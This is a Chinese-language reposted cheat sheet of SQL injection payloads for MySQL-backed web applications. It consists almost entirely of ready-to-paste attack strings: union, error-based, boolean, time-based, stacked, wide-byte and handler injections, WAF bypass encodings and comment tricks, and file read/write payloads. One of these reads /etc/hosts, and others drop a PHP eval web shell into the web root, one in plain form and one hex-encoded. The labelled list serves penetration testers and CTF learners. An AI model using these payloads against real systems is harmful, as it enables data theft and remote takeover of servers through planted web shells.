脚本宝典收集整理的这篇文章主要介绍了自己收集的一些常见SQL注入方式(持续更新),脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
目录
注入点位置及发现
判断输入点是否存在注入测试
数值型:
字符型:
group_concat注入:
union注入:
limit注入:
报错注入:
布尔注入:
时间注入:
堆查询注入:
宽字节注入:
base64注入:
Cookie注入、Referer注入、UA注入、XFF注入
预编译注入:
Handler注入(从表名查询字段名):
SQL绕过WAF
通过SQL语句读写文件
GET参数注入
POST参数注入
user-agent注入
cookies注入
referer注入
...
插入单引号
数字型判断,如1' and '1'='1【目的是为了闭合原语句后方单引号】
...
1 union select 1,2,database()
1' union select 1,2,database()
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
1' union select 1,2,database()
1' union select table_name from information_schema.tables where table_schema=database() limit 0,1
updatexml方式:
1' and(updatexml(1,concat(0x7e,(select(database())),0x7e),1))
查询数据库名称:
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) 1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)
查询表名:
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)
extractvalue方式:
1 and(extractvalue(1, concat(0x7e,(select database()))))
floor方式(查询数据库):
1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 1 and(select 1 from (select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
查询表(以emails举例,emails十六进制编码为656d61696c73)
1 and(select 1 from (select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
floor可以在sqli-labs的level1中复现,phpstudy测试版本为5.4.45+apache
exp:
1 and exp(~(select * from (select database())x))%23
猜测数据库长度:
1 and length(database())>5
猜测数据库名第一个字符串:
1 and substr(database(),1,1)='s'
猜测数据库表第一个字符串:
1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'
空格过滤查数据库名第一个字符串:
1^(ascii(substr((select(database())),1,1))=ascii('s')) 1^(ord(substr((select(database())),1,1))=ascii('s'))
空格过滤查数据库名第二个字符串:
1^(ascii(substr((select(database())),2,1))=ascii('q'))
空格过滤查表名:
1^(ascii(substr((select(flag)from(flag)),1,1))=ascii('f')) 1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
1 and if(substr(database(),1,1)='s',sleep(5),1)
1;select if(substr(database(),1,1)='s',sleep(5),1) 1;show databases;
1%df' union select 1,2,database()
https://www.baidu.com?id=MSBhbmQgMCB1bmlvbiBzZWxlY3QgMSwyLDM=
1';use sqli;set @sql=concat('se','lect `字段` from `表名`');PREPARE ganyu FROM @sql;EXECUTE ganyu;#
1';show tables;handler `FlagHere` open;handler `FlagHere` read first;#
大小写绕过
1 and 0 Union select 1,2,database()
双写绕过
1 and 0 uunionnion select 1,2,database()
编码绕过
1 and 0 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 select 1,2,database()
通过十六进制过滤绕过
1 and 0 union selecx74 1,2,database() 1 and 0 uniox6e select 1,2,database()
空格过滤
1/**/and/**/0/**/union/**/select/**/1,2,database()
内敛注释绕过
1 /*!and*/ 1=2
1/*%!"/*/order/*%!"/*/by 3
union/*233*/select/*233*/1,2,database()
注:在mysql用户拥有file权限时,拥有load_file和into outfile/dumpfile进行读写
读取
1 union select load_file('/etc/hosts')
绕过单引号十六进制编码
1 union select load_file(0x2F6574632F686F737473)
写入
1 union select '<?php @eval($_POST['ganyu']);?>' into outfile 'var/www/html/shell.php'
绕过单引号十六进制编码
1 union select unhex(0x3C3F70687020406576616C28245F504F53545B2767616E7975275D293B3F3E) into dumpfile 'var/www/html/shell.php'
以上是脚本宝典为你收集整理的自己收集的一些常见SQL注入方式(持续更新)全部内容,希望文章能够帮你解决自己收集的一些常见SQL注入方式(持续更新)所遇到的问题。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。